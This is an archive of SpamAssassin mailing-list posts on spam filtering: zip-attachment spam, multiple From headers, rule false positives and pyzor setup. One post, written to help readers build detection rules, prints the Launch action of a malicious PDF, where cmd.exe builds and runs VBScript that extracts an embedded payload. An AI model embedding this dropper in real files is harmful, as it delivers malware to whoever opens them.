Re: Filtering zip spam

[ram]

On Tue, 2010-04-27 at 11:08 -0400, Alex wrote:
> Hi,
> 
> >> Might as well just block all of \.fr at smtp time for that matter :-)
> >> Poor France :(
> >
> > I mostly do... au revoir Le France
> 
> Somewhat off-topic, but in the interest of increasing awareness, India
> reportedly ranks first:
> 
> http://www.dnaindia.com/mumbai/report_india-ranks-first-in-sending-spam-mails_1374118
> 

If you read it  India ranks first in asia pacific regions. No
surprises , Afganistan has almost no internet , Pakistan has almost no
power, and Bangladesh has almost no users. The others are too small. 


Worldwide most spam comes from the US and China and then followed by
Russia
http://www.spamhaus.org/statistics/countries.lasso


India doesnt even figure in the top 20

Re: Filtering zip spam

[Alex]

Hi,

> Alex, does Bayes understand/check INSIDE zips, at least for file
> properties?  If not, then it is inherently limited (just in this

I'm not sure if you're asking me rhetorically here. I really don't
know. Is it enough that bayes finds the encoded string as the
attachment, and matches that against other strings or must it be
expanded first into its real content?

> context), which is a big part of why this is such an effective
> technique.  Adding that to Bayes should be relatively straight
> forward, and should make zips less attractive to spammers.

Almost too obvious of an addition makes me wonder why it hasn't
previously been done.

> One simple approach is to score all "small" zips, then meta that
> with other characteristics, like ANY blocklist hit, "unusual"
> nation of origin, etc.

That's a good one. I'm not sure I'm at the point of writing rules to
match on attachment size, however.

> That's how I first handled zips, a few years ago, and it's fairly
> effective.  Small zips in ham are VERY unusual, and typically are

Again, very obvious after you mention it that I'm surprised it's not
in the default rules if you've been doing it for a while. Is there
some side-effect or drawback that would prevent it from being rolled
into a real SA release?

> To avoid FPs, I'm using the RealName-based rules I described almost
> three years ago (I have several "skip" rules daisy-chained off

I'll have to locate those. Not much luck finding it after a quick
search. It's not the Google "I'm feeling lucky" discussion, right?

# Is this even still relevant?
http://old.nabble.com/Googlepages---Livefilestore-spams-td14715808.html

> Alex, as with all rules, it really depends on your ham ecology.

I agree to an extent, but there is a common reference point that we
all have, and I'd like to at least find that.

> Feel free to share more info about yours (we need the equivalent
> of the Geek Code for ham ecology!).  When you first started
> posting, I briefly assumed you were a college student, then
> gradually realized you have decent volume and diversity. :)

I appreciate that. I've been working with Linux since the beginning
but not a real perl programmer.

> As I mentioned in a post in January, I had noticed a consistent
> value in an Image properties field which I was calculating, but
> not (at the time) exporting.

Is this it?

# Re: pill image spam learns to walk
http://marc.info/?l=spamassassin-users&m=126327771510366&w=2

Is there any progress on your work from that, which might benefit us here?

> Entire zip:
>    - number of files
>    - compression ratio (i.e. across ALL files)

Isn't this what the clamav and sanesecurity sigs are for?

Thanks,
Alex

[Copfilter] Copy of quarantined email - *** SPAM *** [8.9/7.0] Re: How many Froms?

[babedh-d...@biggdog.biz]

On Wed, 28 Apr 2010, Frank Heydlauf wrote:

> Hi,
>
> On Wed, Apr 28, 2010 at 08:05:27PM +0100, Martin Gregorie wrote:
[snip..]
> >> Or could I just use a rule like:
> >>
> >> header From =~ /\...@.*\@/
>
> This regex matches i.e.
>
> From: u...@example.com 
>
> which is a common "auto expansion" of many MUAs when
> no sender real-name is configured.
> Just try on your on mailfolder.

There's an easy fix for that FP, just use the 'From:addr =~ '
varient of the header rule. That ignores the "comment" part
of the 'From:' address and only examines the stuff inside
the '' part.

-- 
Dave Funk  University of Iowa
College of Engineering
319/335-5751   FAX: 319/384-0549   1256 Seamans Center
Sys_admin/Postmaster/cell_adminIowa City, IA 52242-1527
#include 
Better is not better, 'standard' is better. B{

[Copfilter] Copy of quarantined email - *** SPAM *** [8.9/7.0] ING Direct mail FPing on TVD_ rules

[babedh-d...@biggdog.biz]

I just received a mistagged-ham report from a customer showing two stock 
rules hit on a legitimate email from ING Direct - total score was 6.4, 
even with -3.5 from BAYES_00.  I've asked if I can pass the message on 
for analysis.

Stock scores:
score TVD_PH_SUBJ_ACCOUNTS_POST 2.602 2.607 2.497 3.099 # n=2
score TVD_SUBJ_ACC_NUM 0.001 2.199 2.199 2.198 # n=1

I've dropped them down like so:
score TVD_PH_SUBJ_ACCOUNTS_POST 1.1 1.1 1.0 1.5
score TVD_SUBJ_ACC_NUM 0.001 1.199 1.199 1.198 # n=1


The full set of hits (mostly stock rules, the ones that aren't have low 
advisory scores):

Content analysis details:   (6.4 points, 5.0 required)

  pts rule name  description
 -- 
--
  1.0 SUBJ_YOUR_DEBT Subject contains "Your Bills" or similar
  2.2 TVD_SUBJ_ACC_NUM   Subject has spammy looking monetary reference
  3.1 TVD_PH_SUBJ_ACCOUNTS_POST TVD_PH_SUBJ_ACCOUNTS_POST
-0.0 T_RP_MATCHES_RCVD  Envelope sender domain matches handover relay
 domain
  0.1 PERSONAL_INFO_11   BODY: PERSONAL_INFO_11
-3.5 BAYES_00   BODY: Bayes spam probability is 0 to 1%
 [score: 0.]
  0.0 HTML_MESSAGE   BODY: HTML included in message
  0.7 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
  1.1 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of 
words
  0.0 TO_EQ_FM_HTML_ONLY To == From and HTML only
  0.0 TO_EQ_FM_DIRECT_MX To == From and direct-to-MX
  1.7 TO_EQ_FM_HTML_DIRECT   To == From and HTML only, direct-to-MX

-kgd

Re: new PDF "Launch" malware exploit (with sample)

[Yet Another Ninja]

On 2010-04-28 20:01, Chip M. wrote:

I haven't seen any since the first blast, so I suspect their
signatures were widely distributed by most anti-virus orgs.

I'm mainly publishing this for all of us who like to have backup
rules, and are willing to be more general than the sometimes too
tightly focused malware sigs.

For example, I've added "script.vbs" to my instant-death PDF word
scans.


If you still have PDFinfo in your plugin collection:

https://svn.apache.org/repos/asf/spamassassin/trunk/rulesrc/sandbox/axb/20_axb_pdf.cf

should hit on these in case AVs don't

Re: ING Direct mail FPing on TVD_ rules - also TO_EQ_FROM root subrules

[Michael Scheidell]

On 4/28/10 4:47 PM, Kris Deugau wrote:

Michael Scheidell wrote:

On 4/28/10 3:13 PM, Kris Deugau wrote:

 0.0 TO_EQ_FM_HTML_ONLY To == From and HTML only
 0.0 TO_EQ_FM_DIRECT_MX To == From and direct-to-MX
 1.7 TO_EQ_FM_HTML_DIRECT   To == From and HTML only, direct-to-MX 

so.  its also obviously bulk email.


I don't know how these rules positively identify a message as "bulk". 
Taking them at face value, they certainly represent "not following 
best-practices".


sorry, usually if the to and from are the same, its bulk. looks like the 
regex's are in need of tweaking.


the best way to do this is to open a bug on SA's bugzilla.  that way 
they can track it, vote on it, and will know when its fixed.


Now, if ING direct cared about about such things as SPF (yes, SPF is 
broken) but in this case you would whitelist_from_spf @ingdirect.com in 
local.cf and not worry about forgeries slipping through.


the to/from AND, HTML is because its only html, and 'direct to mx' means 
that you probaly did not see a second received header in the email. (so 
it was machine generated)


--
Michael Scheidell, CTO
Phone: 561-999-5000, x 1259
> *| *SECNAP Network Security Corporation

   * Certified SNORT Integrator
   * 2008-9 Hot Company Award Winner, World Executive Alliance
   * Five-Star Partner Program 2009, VARBusiness
   * Best Anti-Spam Product 2008, Network Products Guide
   * King of Spam Filters, SC Magazine 2008

__
This email has been scanned and certified safe by SpammerTrap(r). 
For Information please see http://www.secnap.com/products/spammertrap/
__  

Re: ING Direct mail FPing on TVD_ rules - also TO_EQ_FROM root subrules

[Kris Deugau]

Michael Scheidell wrote:

On 4/28/10 3:13 PM, Kris Deugau wrote:

 0.0 TO_EQ_FM_HTML_ONLY To == From and HTML only
 0.0 TO_EQ_FM_DIRECT_MX To == From and direct-to-MX
 1.7 TO_EQ_FM_HTML_DIRECT   To == From and HTML only, direct-to-MX 

so.  its also obviously bulk email.


I don't know how these rules positively identify a message as "bulk". 
Taking them at face value, they certainly represent "not following 
best-practices".


  Hmm.  I'm not even sure how they fired; the From and To are 
bare email addresses, and most certainly do NOT match.  Those rules also 
seem to be relatively recent (within ~1 month), since my 
workstation/test system didn't have them until I ran sa-update.  Our 
live systems get updated much more frequently (SOUGHT rules daily, 
others usually as I roll out updates for local rules).


I don't see anything obviously wrong with the root From == To meta subrules:

header __TO_EQ_FROM_1   ALL =~ 
/\nFrom:[^\n<]{0,80}]+)>?\n(?:[^\n]{1,100}\n)*To:[^\n]+\1/ism
header __TO_EQ_FROM_2   ALL =~ 
/\nTo:[^\n<]{0,80}]+)>?\n(?:[^\n]{1,100}\n)*From:[^\n]+\1/ism


but they (_1 in this case) still match on:

From: mortga...@ingdirect.ca
To: u...@vianet.ca

   sometimes.  Eeep.  I tried a minimal hand-created test message, 
with a Received header, and those two lines above;  it didn't match.  I 
copy-pasted the customer's address, and it matched.  I replaced the 
domain, and it still matched.  I replace the username, and it failed to 
match.  There's nothing funky in a hex dump of the original header.


I really hope I can get permission from the customer to at least pass 
the original on to one of the SA devs;  copy-pasting the headers into an 
empty file, and slowly removing one at a time caused some very *odd* 
changes in behaviour.  For instance, removing the original Subject: line 
(or altering it in certain ways) apparently controlled whether the 
relevant subrule above matched or not, no matter *what* was in the To or 
From (mostly).


I managed to reduce it to a suitably-anonymized example: 
http://pastebin.com/X2ZUNAYM


I've tried that test message on four different SA3.3.1 systems (Centos 4 
and 5, 32bit, local RPM;  Centos 5 64-bit, local RPM;  Debian lenny 
64-bit, local scripted source install) and all four hit 
TO_EQ_FM_DIRECT_MX (implying one or the other of __TO_EQ_FROM_1 or 
__TO_EQ_FROM_2 hit).  As you can plainly see, To does *not* equal From 
on that message...


if img direct wants to be stupid about the emails they send, let them be 
blocked, or whitelist them.


(or they can pay return path for more credit points.. as long as their 
bulk email is double opt in)


Actually, it appeared to be a specific reminder to that specific 
customer (certainly something likely to be sent in bulk in the sense 
that they'll send quite a few of them, but not "bulk" in sense you seem 
to mean).


-kgd

Re: How many Froms?

[Bowie Bailey]

David B Funk wrote:
> On Wed, 28 Apr 2010, Frank Heydlauf wrote:
>
>   
>> Hi,
>>
>> On Wed, Apr 28, 2010 at 08:05:27PM +0100, Martin Gregorie wrote:
>> 
> [snip..]
>   
 Or could I just use a rule like:

 header From =~ /\...@.*\@/
 
>> This regex matches i.e.
>>
>> From: u...@example.com 
>>
>> which is a common "auto expansion" of many MUAs when
>> no sender real-name is configured.
>> Just try on your on mailfolder.
>> 
>
> There's an easy fix for that FP, just use the 'From:addr =~ '
> varient of the header rule. That ignores the "comment" part
> of the 'From:' address and only examines the stuff inside
> the '' part.
>   

But it also only gives you the first email address...

-- 
Bowie

Re: [sa] Re: How many Froms?

[Charles Gregory]

On Wed, 28 Apr 2010, David B Funk wrote:

There's an easy fix for that FP, just use the 'From:addr =~ '
varient of the header rule. That ignores the "comment" part
of the 'From:' address and only examines the stuff inside
the '' part.


Avoid FP, yes, but also avoid the live header that is triggering the rule, 
which was *not* formatted with "<...>".


I guess I'll just test for *3* '@'s

- C

Re: Filtering zip spam

[Chip M.]

>I'm seeing an increase in zip attachment spam, and hoped someone
>could help me figure out why it isn't being properly tagged. Are
>others seeing this? Is BAYES_99 being triggered or is it lower?

Alex, does Bayes understand/check INSIDE zips, at least for file
properties?  If not, then it is inherently limited (just in this
context), which is a big part of why this is such an effective
technique.  Adding that to Bayes should be relatively straight
forward, and should make zips less attractive to spammers.


>The score is very low. Does someone have an idea of other
>characteristics that I can flag on?

One simple approach is to score all "small" zips, then meta that
with other characteristics, like ANY blocklist hit, "unusual"
nation of origin, etc.

That's safer than outright blocking merely "unusual" nations, like
France. :)

That's how I first handled zips, a few years ago, and it's fairly
effective.  Small zips in ham are VERY unusual, and typically are
sent by more sophisticated users, so it may be viable to have a
Subject-based "skip" rule (again, via metas) that would cancel out
other tests.

To avoid FPs, I'm using the RealName-based rules I described almost
three years ago (I have several "skip" rules daisy-chained off
those - a good example of an anti-spam mechanism which turned into
a very effective anti-FP mechanism).
Note that all the current zips have incorrect RealNames.


Alex, as with all rules, it really depends on your ham ecology.
Feel free to share more info about yours (we need the equivalent
of the Geek Code for ham ecology!).  When you first started
posting, I briefly assumed you were a college student, then
gradually realized you have decent volume and diversity. :)


All of the recent zipped file campaigns look like the work of last
year's inline-PNG/RTF coder, so we could well be in for more
variants.

Using zips is an interesting delivery mechanism.  Most Windows
versions have easy means to open them, and there's an element of
novelty (even I was almost excited when the first zipped JPEG
arrived - followed by disappointment that it was merely a
"standard" wavy pharm).


Another approach I had been using was a (post-SA) test that
extracts all filenames, and just looks for any specified file
extension(s).

It worked, but that test was designed for malware detection, and
has VERY limited options.  There was no means of restricting it to
a zip containing just one small RTF and no other files, so my
initial rule would have mis-fired on anything with a mix of files.

I finally had my Kaylee Frye moment about two weeks ago, and
(in my post-SA filter (sorry, written in Object Pascal)) wrote a
brand new "Zip Info" module, similar to "Image Info".

I designed it to expose far more info, and wrote the rules module
so I'd have far more control than was currently "necessary".

As I mentioned in a post in January, I had noticed a consistent
value in an Image properties field which I was calculating, but
not (at the time) exporting.
I'm trying to avoid that mental kick moment. :)


SANITY CHECK please!
Here's what I'm currently exporting:

Entire zip:
- number of files
- compression ratio (i.e. across ALL files)

Per file:
- filename
- compression ratio
- file date

The only property I'm not currently doing anything with is the
individual file date.  I'm having my endusers log their ham data
for a few weeks, then I'll see if there's anything useful, ham vs
spam wise.  I predict ham will have a rich date range, and spam
will be mostly/entirely recent.  I may add a simple "younger/older
than n days" test, regardless, since when dealing with spammers,
Logic is often NOT the beginning of Wisdom. ;)


Implementing the basic properties extraction was trivial.
Thinking thru how I wanted to handle the rules was more of a
challenge. :)

Figured I'd share where I'm at, and pick the big brains. :)
- "Chip"

P.S.  I am also seriously considering adding the ability to extract
any specified file as a text or binary stream, with the text stream
defaulting to being fed to a domain extraction module.

It's not unreasonable for somebody to send a legit zipped RTF, so
content scanning would be good.  These spam RTFs in particular are
tiny (low overhead to extract) yet intensely spammy.

Re: How many Froms?

[David B Funk]

On Wed, 28 Apr 2010, Frank Heydlauf wrote:

> Hi,
>
> On Wed, Apr 28, 2010 at 08:05:27PM +0100, Martin Gregorie wrote:
[snip..]
> >> Or could I just use a rule like:
> >>
> >> header From =~ /\...@.*\@/
>
> This regex matches i.e.
>
> From: u...@example.com 
>
> which is a common "auto expansion" of many MUAs when
> no sender real-name is configured.
> Just try on your on mailfolder.

There's an easy fix for that FP, just use the 'From:addr =~ '
varient of the header rule. That ignores the "comment" part
of the 'From:' address and only examines the stuff inside
the '' part.

-- 
Dave Funk  University of Iowa
College of Engineering
319/335-5751   FAX: 319/384-0549   1256 Seamans Center
Sys_admin/Postmaster/cell_adminIowa City, IA 52242-1527
#include 
Better is not better, 'standard' is better. B{

Re: How many Froms?

[Frank Heydlauf]

Hi,

On Wed, Apr 28, 2010 at 08:05:27PM +0100, Martin Gregorie wrote:
> Having said that, I can't remember seeing multiple addresses on a From:
> header or a Sender: header.

I have plenty of them in my mailfolder - but not formated in 
the way you thought about, regarding your cite of RFC822.

>On Wed, Apr 28, 2010 at 12:41:52PM -0400, Charles Gregory wrote:
...
>> Or could I just use a rule like:
>> 
>> header From =~ /\...@.*\@/

This regex matches i.e.

From: u...@example.com  

which is a common "auto expansion" of many MUAs when 
no sender real-name is configured.
Just try on your on mailfolder.

-- 
Regards
Frank 

Re: ING Direct mail FPing on TVD_ rules

[Michael Scheidell]

On 4/28/10 3:13 PM, Kris Deugau wrote:

 0.0 TO_EQ_FM_HTML_ONLY To == From and HTML only
 0.0 TO_EQ_FM_DIRECT_MX To == From and direct-to-MX
 1.7 TO_EQ_FM_HTML_DIRECT   To == From and HTML only, direct-to-MX 

so.  its also obviously bulk email.

if img direct wants to be stupid about the emails they send, let them be 
blocked, or whitelist them.


(or they can pay return path for more credit points.. as long as their 
bulk email is double opt in)




--
Michael Scheidell, CTO
Phone: 561-999-5000, x 1259
> *| *SECNAP Network Security Corporation

   * Certified SNORT Integrator
   * 2008-9 Hot Company Award Winner, World Executive Alliance
   * Five-Star Partner Program 2009, VARBusiness
   * Best Anti-Spam Product 2008, Network Products Guide
   * King of Spam Filters, SC Magazine 2008

__
This email has been scanned and certified safe by SpammerTrap(r). 
For Information please see http://www.secnap.com/products/spammertrap/
__  

ING Direct mail FPing on TVD_ rules

[Kris Deugau]

I just received a mistagged-ham report from a customer showing two stock 
rules hit on a legitimate email from ING Direct - total score was 6.4, 
even with -3.5 from BAYES_00.  I've asked if I can pass the message on 
for analysis.


Stock scores:
score TVD_PH_SUBJ_ACCOUNTS_POST 2.602 2.607 2.497 3.099 # n=2
score TVD_SUBJ_ACC_NUM 0.001 2.199 2.199 2.198 # n=1

I've dropped them down like so:
score TVD_PH_SUBJ_ACCOUNTS_POST 1.1 1.1 1.0 1.5
score TVD_SUBJ_ACC_NUM 0.001 1.199 1.199 1.198 # n=1


The full set of hits (mostly stock rules, the ones that aren't have low 
advisory scores):


Content analysis details:   (6.4 points, 5.0 required)

 pts rule name  description
 -- 
--

 1.0 SUBJ_YOUR_DEBT Subject contains "Your Bills" or similar
 2.2 TVD_SUBJ_ACC_NUM   Subject has spammy looking monetary reference
 3.1 TVD_PH_SUBJ_ACCOUNTS_POST TVD_PH_SUBJ_ACCOUNTS_POST
-0.0 T_RP_MATCHES_RCVD  Envelope sender domain matches handover relay
domain
 0.1 PERSONAL_INFO_11   BODY: PERSONAL_INFO_11
-3.5 BAYES_00   BODY: Bayes spam probability is 0 to 1%
[score: 0.]
 0.0 HTML_MESSAGE   BODY: HTML included in message
 0.7 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
 1.1 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of 
words

 0.0 TO_EQ_FM_HTML_ONLY To == From and HTML only
 0.0 TO_EQ_FM_DIRECT_MX To == From and direct-to-MX
 1.7 TO_EQ_FM_HTML_DIRECT   To == From and HTML only, direct-to-MX

-kgd

Re: How many Froms?

[Martin Gregorie]

On Wed, 2010-04-28 at 12:41 -0400, Charles Gregory wrote:

> Occasionally I see an e-mail with multiple addresses on the 'From:' 
> header. (not the envelope)
> 
Do these messages also contain a 'Sender:' header? According to RFC 822
they should do so.

> Can anyone think of legitimate uses for multiple From: addresses?
> Or could I just use a rule like:
> 
See RFC822, which allows a message to have multiple authors. It also
says that if 'From:' lists more than one author then a 'Sender:' header
must be present and that the address in the 'Sender:' header need not
be one of thoise listed in the 'From:' header.

Having said that, I can't remember seeing multiple addresses on a From:
header or a Sender: header.


Martin

RE: new PDF "Launch" malware exploit (with sample)

[d . hill]

Quoting "Rosenbaum, Larry M." :


Please don't send live malware samples to the list.


Um... The OP did not send malware to the list. A link was supplied to  
the original message. You must have a scanner set up to follow links.  
That isn't a good idea, in my opinion.



-Original Message-
From: Chip M. [mailto:sa_c...@iowahoneypot.com]
Sent: Wednesday, April 28, 2010 2:01 PM
To: users@spamassassin.apache.org
Subject: new PDF "Launch" malware exploit (with sample)

FILE QUARANTINED

Microsoft Forefront Security for Exchange Server removed a file since
it was found to be infected.
File name: "Body of Message"
Virus name: "TrojanDropper:Win32/Pidrop.A"

Re: new PDF "Launch" malware exploit (with sample)

[Benny Pedersen]

On ons 28 apr 2010 20:01:29 CEST, "Chip M." wrote


About a month ago, Didier Stevens found a nifty way to exploit
PDFs, using their "launch action".


when you get more add them here http://www.clamav.net/

--
xpoint http://www.unicom.com/pw/reply-to-harmful.html

RE: new PDF "Launch" malware exploit (with sample)

[Rosenbaum, Larry M.]

Please don't send live malware samples to the list.

> -Original Message-
> From: Chip M. [mailto:sa_c...@iowahoneypot.com]
> Sent: Wednesday, April 28, 2010 2:01 PM
> To: users@spamassassin.apache.org
> Subject: new PDF "Launch" malware exploit (with sample)
> 
> FILE QUARANTINED
> 
> Microsoft Forefront Security for Exchange Server removed a file since
> it was found to be infected.
> File name: "Body of Message"
> Virus name: "TrojanDropper:Win32/Pidrop.A"

new PDF "Launch" malware exploit (with sample)

[Chip M.]

About a month ago, Didier Stevens found a nifty way to exploit
PDFs, using their "launch action".

Original article:
http://blog.didierstevens.com/2010/03/29/escape-from-pdf/
More info:
http://www.sophos.com/blogs/sophoslabs/?p=9301

Yesterday morning, several of these showed up in my feeds.
Sample:
http://puffin.net/software/spam/samples/0007_pdf_mal.txt


The bad news is that the social engineering part is well written
(terse with decent grammer in the body) and feels like the sort of
thing that would confuse/fool naive endusers.

Based on which accounts they're hitting, these may have been
created by last year's inline-PNG/RTF guy (who I'm pretty sure
is behind the recent zipped JPEG and now RTF campaigns).
If that's correct, we should expect more attacks.  He's smarter
AND more patient than pretty much all other spammers (he might
even be as smart as a tree squirrel - scary!).


The good news is there's all manner of easy to detect stuff that
shouldn't occur in "normal" PDFs. :)

Here's just the nifty Launch part (NOTE: for skimming clarity, I
removed several blank lines from around the original "Click" line):

8 0 obj
<<
 /Type /Action
 /S /Launch
 /Win
 <<
  /F (cmd.exe)
  /P (/c echo Set fso=CreateObject("Scripting.FileSystemObject") > script.vbs 
&& echo Set f=fso.OpenTextFile("doc.pdf", 1, True) >> script.vbs && echo 
pf=f.ReadAll  >> script.vbs && echo s=InStr(pf,"'SS")  >> script.vbs && echo 
e=InStr(pf,"'EE")  >> script.vbs && echo s=Mid(pf,s,e-s)  >> script.vbs && echo 
Set z=fso.OpenTextFile("batscript.vbs", 2, True)  >> script.vbs && echo s = 
Replace(s,"%","") >> script.vbs && echo z.Write(s) >> script.vbs && script.vbs 
&& batscript.vbs
Click the "open" button to view this document:)
 >>
>>
endobj


I haven't seen any since the first blast, so I suspect their
signatures were widely distributed by most anti-virus orgs.

I'm mainly publishing this for all of us who like to have backup
rules, and are willing to be more general than the sometimes too
tightly focused malware sigs.

For example, I've added "script.vbs" to my instant-death PDF word
scans.

I'll be asking some of my most diverse volunteers to run some
ham-PDF-only MassChecks tonight, and see if any of my new rules
mis-fire.  Given the number of times HTML "naughty" tags appear in
ham, I will resist assuming my "reasonable" restrictions won't hit
any.
- "Chip"

Problem with pyzor and Spamassassin (in Postfix)

[Sebastian Kösters]

Hi,

i am using pyzor-0.4.0-11.el5 on CentOS 5 with spamassassin-3.3.1-3.

Spamassassin works fine in postfix, but pyzor does not.

maillog:

[...]
Apr 28 15:10:43 mail spamd[19721]: pyzor: opening pipe: /usr/bin/pyzor 
--homedir /var/vmail/.pyzor check < /tmp/.spamassassin19721QlsZUItmp

Apr 28 15:10:43 mail spamd[19760]: util: setuid: ruid=5000 euid=5000
Apr 28 15:10:43 mail spamd[19721]: pyzor: [19760] finished: exit 1
Apr 28 15:10:43 mail spamd[19721]: pyzor: got response: 
public.pyzor.org:24441 (200, 'OK') 0 0

[...]

pyzor always quits with exit 1.

i then activated the debug mode (-d).

maillog:

Apr 28 18:10:23 mail spamd[5754]: pyzor: opening pipe: /usr/bin/pyzor -d 
--homedir /var/vmail/.pyzor check < /tmp/.spamassassin57546sMuqLtmp

Apr 28 18:10:23 mail spamd[5819]: util: setuid: ruid=5000 euid=5000
Apr 28 18:10:23 mail spamd[5754]: pyzor: [5819] finished: exit 1
Apr 28 18:10:23 mail spamd[5754]: pyzor: got response: sending: 'User: 
anonymous\nTime: 1272471023\nSig: 
16a37f696e317cfd4dea8323fdf93ba645b4be32\n\nOp: check\nOp-Digest: 
da5fba2e21653a9de1187a39bc0426b898de5c03\nThread: 37970\nPV: 
2.0\n\n'\nreceived: 'Thread: 37970\nCount: 0\nWL-Count: 0\nCode: 
200\nDiag: OK\nPV: 2.0\n\n'\npublic.pyzor.org:24441 (200, 'OK') 0 0

Apr 28 18:10:23 mail spamd[5754]: dns: leaving helper-app run mode
Apr 28 18:10:23 mail spamd[5754]: pyzor: failure to parse response 
"sending: 'User: anonymous\nTime: 1272471023\nSig: 
16a37f696e317cfd4dea8323fdf93ba645b4be32\n\nOp: check\nOp-Digest: 
da5fba2e21653a9de1187a39bc0426b898de5c03\nThread: 37970\nPV: 2.0\n\n'"
Apr 28 18:10:23 mail spamd[5754]: pyzor: failure to parse response 
"received: 'Thread: 37970\nCount: 0\nWL-Count: 0\nCode: 200\nDiag: 
OK\nPV: 2.0\n\n'"



this does not help me :-/

When i test spamassassin and pyzor from console everything works fine:


su - vmail -c "spamassassin -D < /var/vmail/sample-spam.txt"


Apr 28 15:37:34.368 [26581] dbg: pyzor: opening pipe: /usr/bin/pyzor 
--homedir /var/vmail/.pyzor check < /tmp/.spamassassin26581NSj6S4tmp

Apr 28 15:37:34.374 [26582] dbg: util: setuid: ruid=5000 euid=5000
Apr 28 15:37:34.418 [26581] dbg: pyzor: [26582] finished successfully
Apr 28 15:37:34.418 [26581] dbg: pyzor: got response: 
public.pyzor.org:24441 (200, 'OK') 183 0


pyzor with debug on:

su - vmail -c "/usr/bin/pyzor -d --homedir /var/vmail/.pyzor check < 
/var/vmail/sample-spam.txt"



sending: 'User: anonymous\nTime: 1272474781\nSig: 
f60b585c499d9ac86cd9ecdc29d58c467cf102cc\n\nOp: check\nOp-Digest: 
d152948f7f029b35691afa499c145797558b2fff\nThread: 59481\nPV: 2.0\n\n'
received: 'Thread: 59481\nCount: 183\nWL-Count: 0\nCode: 200\nDiag: 
OK\nPV: 2.0\n\n'

public.pyzor.org:24441  (200, 'OK') 183 0


my local.cf:

---
# These values can be overridden by editing ~/.spamassassin/user_prefs.cf
# (see spamassassin(1) for details)

# These should be safe assumptions and allow for simple visual sifting
# without risking lost emails.

required_hits 5
required_score 2.0
report_safe 1
rewrite_header Subject  [* SPAM _SCORE_ *]
add_header all Status _YESNO_, score=_SCORE_ required=_REQD_ 
tests=_TESTSSCORES(,)_ _PYZOR_ _RBL_ autolearn=_AUTOLEARN_ version=_VERSION_


# Enable the Bayes system
use_bayes 1
use_bayes_rules 1
bayes_path /var/vmail/.spamassassin/bayes
# Enable Bayes auto-learning
bayes_auto_learn 1

# Enable or disable network checks
skip_rbl_checks 0

use_razor2 1
razor_config /var/vmail/.razor/razor-agent.conf
razor_timeout 10

use_pyzor 1
pyzor_path /usr/bin/pyzor
pyzor_options --homedir /var/vmail/.pyzor
pyzor_max 15
pyzor_timeout 15

#bayes punkte
score BAYES_00 -6.1
score BAYES_01 -5.0
score BAYES_10 -3.5
score BAYES_20 -2.0
score BAYES_30 -1.0
score BAYES_40 -0.3
score BAYES_44 -0.01
score BAYES_50 0.01
score BAYES_56 0.3
score BAYES_60 1.0
score BAYES_70 1.6
score BAYES_80 3.1
score BAYES_90 5.2
score BAYES_99 7.2

#razor punkte
score RAZOR2_CHECK 1.8
score RAZOR2_CF_RANGE_11_50 0.32
score RAZOR2_CF_RANGE_51_100 2.7

#pyzor punkte
score PYZOR_CHECK 4.8

#sonstige punkte
score SUBJ_ILLEGAL_CHARS 2.6
score PORN_4 3.7
score RCVD_IN_RFCI 2.0
score RCVD_IN_ORBS 1.0
score RCVD_IN_DSBL 1.0
score RCVD_IN_SBL 0.5
score RCVD_IN_VISI 1.0
score RCVD_IN_RFCI 0.5
score RCVD_IN_SORBS 0.5
score X_NJABL_OPEN_PROXY 0.5
score RCVD_IN_UNCONFIRMED_DSBL 0.2
score RCVD_IN_BL_SPAMCOP_NET 1.1
score RCVD_IN_VISI 0.3
score RCVD_IN_RELAYS_ORDB_ORG 0.3
score USER_AGENT_MACOE 1.0
score NIGERIAN_TRANSACTION_1 1.5
score MICROSOFT_EXECUTABLE 3.100
score MIME_SUSPECT_NAME 3.100
score RCVD_IN_BONDEDSENDER -6.0
score HABEAS_HIL_RBL -6.0
score X_LIST_UNSUBSCRIBE 0.5
score EMAIL_ATTRIBUTION -0.5
score IN_REP_TO -0.5
score QUOTED_EMAIL_TEXT -0.5
score REPLY_WITH_QUOTES -0.5
score HTML_IMAGE_ONLY_02 1.978
score HTML_IMAGE_ONLY_04 2.087
score HTML_IMAGE_ONLY_06 1.228
score HTML_IMAGE_ONLY_08 0.984
score HTML_IMAGE_ONLY_10 0.843
score HTML_IMAGE_ONLY_12 0.487
score EMAIL_ATTRIBUTION -1
score MSGID_GOOD_EXCHANGE -1

# Reports
clear_report_template
rep

Re: Auto Learn Spam

[Bowie Bailey]

Carlos Mennens wrote:
> On Wed, Apr 28, 2010 at 12:10 PM, Dennis B. Hopp  wrote:
>   
>> Autolearn kicks in at certain scores.  I believe the default is 12.0 for
>> spam and 0.1 for ham.  You can customize those settings in your local.cf
>> file.
>>
>> bayes_auto_learn 1
>> bayes_auto_learn_threshold_nonspam -3.0
>> bayes_auto_learn_threshold_spam 12.0
>> 
>
> I checked /etc/mail/spamassassin/local.cf just now and found only the 
> following:
>
> required_hits 5
> report_safe 0
> rewrite_header Subject [SPAM]
>
> However I don't know if Amavisd-new is looking at local.cf because I
> show parameters in my amavisd.conf file for SpamAssassin:
>
> $sa_tag_level_deflt  = -999.0;  # add spam info headers if at, or
> above that level
> $sa_tag2_level_deflt = 5.0; # add 'spam detected' headers at that level
> $sa_kill_level_deflt = 8.0; # triggers spam evasive actions (e.g.
> blocks mail)
> $sa_dsn_cutoff_level = 10;  # spam level beyond which a DSN is not sent
> $sa_quarantine_cutoff_level = 12; # spam level beyond which quarantine is off
> $penpals_bonus_score = 8;# (no effect without a @storage_sql_dsn database)
> $penpals_threshold_high = $sa_kill_level_deflt;  # don't waste time on hi spam
>
> $sa_mail_body_size_limit = 400*1024; # don't waste time on SA if mail is 
> larger
> $sa_local_tests_only = 0;# only tests which do not require internet 
> access?
> [...]
> $sa_spam_subject_tag = '***SPAM*** ';
> $defang_virus  = 1;  # MIME-wrap passed infected mail
> $defang_banned = 1;  # MIME-wrap passed mail containing banned name
> # for defanging bad headers only turn on certain minor contents categories:
> $defang_by_ccat{+CC_BADH.",3"} = 1;  # NUL or CR character in header
> $defang_by_ccat{+CC_BADH.",5"} = 1;  # header line longer than 998 characters
>
> When I get a spam message that was scored by SA, it says ***SPAM***
> and not [SPAM] so that leaves me to believe that SA parameters are
> being fed from amavisd.conf file. Does this make sense to you guys?

There are a few differences when you run SA through Amavis:

1) Required scores for tagging or rejecting messages are set in the
Amavis config (SA settings are ignored)
2) Settings for adding headers/markup to the email are set via Amavis
